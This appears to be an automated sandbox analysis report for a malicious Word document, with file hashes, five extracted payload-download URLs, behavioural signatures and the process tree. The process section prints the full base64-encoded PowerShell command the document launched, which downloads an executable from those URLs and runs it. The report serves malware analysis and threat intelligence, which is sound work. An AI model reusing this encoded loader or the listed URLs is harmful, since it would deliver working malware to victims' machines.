Analysis
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max time kernel
125s -
max time network
183s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
03-05-2022 12:00
Static task
static1
Behavioral task
behavioral1
Sample
kjlvxehe.doc
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
kjlvxehe.doc
Resource
win10v2004-20220414-en
General
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Target
kjlvxehe.doc
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Size
175KB
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MD5
f8ab6670f00a035e68134a7fd4dcb264
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SHA1
0fd60d0c821d6aa014171a05b7678a21b05056fe
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SHA256
f794639d67379bfe9c95c945acab77981d8f44fc8d75e2566e09aaff420cb280
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SHA512
f4f48f82ec065a0e7aaa2ae57eceeaead5b5ad7ff49b73cbaf332bf5329888714a8819aa64a95aabdec6471596f299d2a2c20e4557425e4da722d99cdbe5e45c
Malware Config
Extracted
http://www.greaudstudio.com/docs/olohz_suq_munasyr/
http://www.gravelrecords.com/wp-admin/5h_jns_l3s6/
http://gtsouth.com/drinkmenu/38vq_z8al_r5cujfy90n/
http://groncrete.com/bower_components/cvbh8_f0_84rai/
http://www.gunesoluk.com/eotps/heb_x_1ehlbx9/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1008 3340 powersheLL.exe -
Blocklisted process makes network request 4 IoCs
Processes:
powersheLL.exeflow pid process 70 1008 powersheLL.exe 74 1008 powersheLL.exe 76 1008 powersheLL.exe 78 1008 powersheLL.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3772 WINWORD.EXE 3772 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powersheLL.exepid process 1008 powersheLL.exe 1008 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 1008 powersheLL.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 3772 WINWORD.EXE 3772 WINWORD.EXE 3772 WINWORD.EXE 3772 WINWORD.EXE 3772 WINWORD.EXE 3772 WINWORD.EXE 3772 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\kjlvxehe.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3772
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABOAFoAQwBSAE8AeQBoAGkAPQAnAFoAQQBHAFEASABuAHYAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBgAFUAcgBJAFQAeQBgAFAAUgBvAGAAVABPAGMAYABvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABTAFkAQQBTAEcAdQBlAGEAIAA9ACAAJwA1ADgAMwAnADsAJABHAEkASABFAFUAZgBoAGEAPQAnAEYAUABGAFYASABsAGQAegAnADsAJABRAE8ATQBOAFMAYgBlAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAWQBBAFMARwB1AGUAYQArACcALgBlAHgAZQAnADsAJABaAEEATgBGAEoAbwBmAGYAPQAnAEIAUgBOAFcARABmAHUAdQAnADsAJABBAE8AQwBZAE0AcwB0AGQAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBUAC4AdwBFAGIAYwBMAEkAZQBOAFQAOwAkAFQAQQBKAEoAQQBsAHoAegA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAcgBlAGEAdQBkAHMAdAB1AGQAaQBvAC4AYwBvAG0ALwBkAG8AYwBzAC8AbwBsAG8AaAB6AF8AcwB1AHEAXwBtAHUAbgBhAHMAeQByAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZwByAGEAdgBlAGwAcgBlAGMAbwByAGQAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANQBoAF8AagBuAHMAXwBsADMAcwA2AC8AKgBoAHQAdABwADoALwAvAGcAdABzAG8AdQB0AGgALgBjAG8AbQAvAGQAcgBpAG4AawBtAGUAbgB1AC8AMwA4AHYAcQBfAHoAOABhAGwAXwByADUAYwB1AGoAZgB5ADkAMABuAC8AKgBoAHQAdABwADoALwAvAGcAcgBvAG4AYwByAGUAdABlAC4AYwBvAG0ALwBiAG8AdwBlAHIAXwBjAG8AbQBwAG8AbgBlAG4AdABzAC8AYwB2AGIAaAA4AF8AZgAwAF8AOAA0AHIAYQBpAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZwB1AG4AZQBzAG8AbAB1AGsALgBjAG8AbQAvAGUAbwB0AHAAcwAvAGgAZQBiAF8AeABfADEAZQBoAGwAYgB4ADkALwAnAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAVgBIAE0ARwB4AHAAZAA9ACcAVQBGAFkARgBFAG4AYgBkACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAFcAQQBBAEkAbABxAHoAIABpAG4AIAAkAFQAQQBKAEoAQQBsAHoAegApAHsAdAByAHkAewAkAEEATwBDAFkATQBzAHQAZAAuACIARABgAG8AdwBOAGwATwBgAEEAYABEAGYAaQBMAGUAIgAoACQAWABXAEEAQQBJAGwAcQB6ACwAIAAkAFEATwBNAE4AUwBiAGUAZwApADsAJABXAEEAWgBTAFkAcABmAGcAPQAnAEYASQBMAEEAQQBuAHUAdwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFEATwBNAE4AUwBiAGUAZwApAC4AIgBsAGAARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMgAzADQAMwAwACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABFAEEAVABlACIAKAAkAFEATwBNAE4AUwBiAGUAZwApADsAJABNAFQAUQBQAEYAcgBsAHoAPQAnAFYATgBBAFUAQQBxAHkAdAAnADsAYgByAGUAYQBrADsAJABOAFcAUwBIAEEAbwBqAHUAPQAnAFQARQBLAEwASABpAHAAcQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAEwAVQBCAE4AcABkAGsAPQAnAEUATwBMAEoAQwB1AGQAagAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1008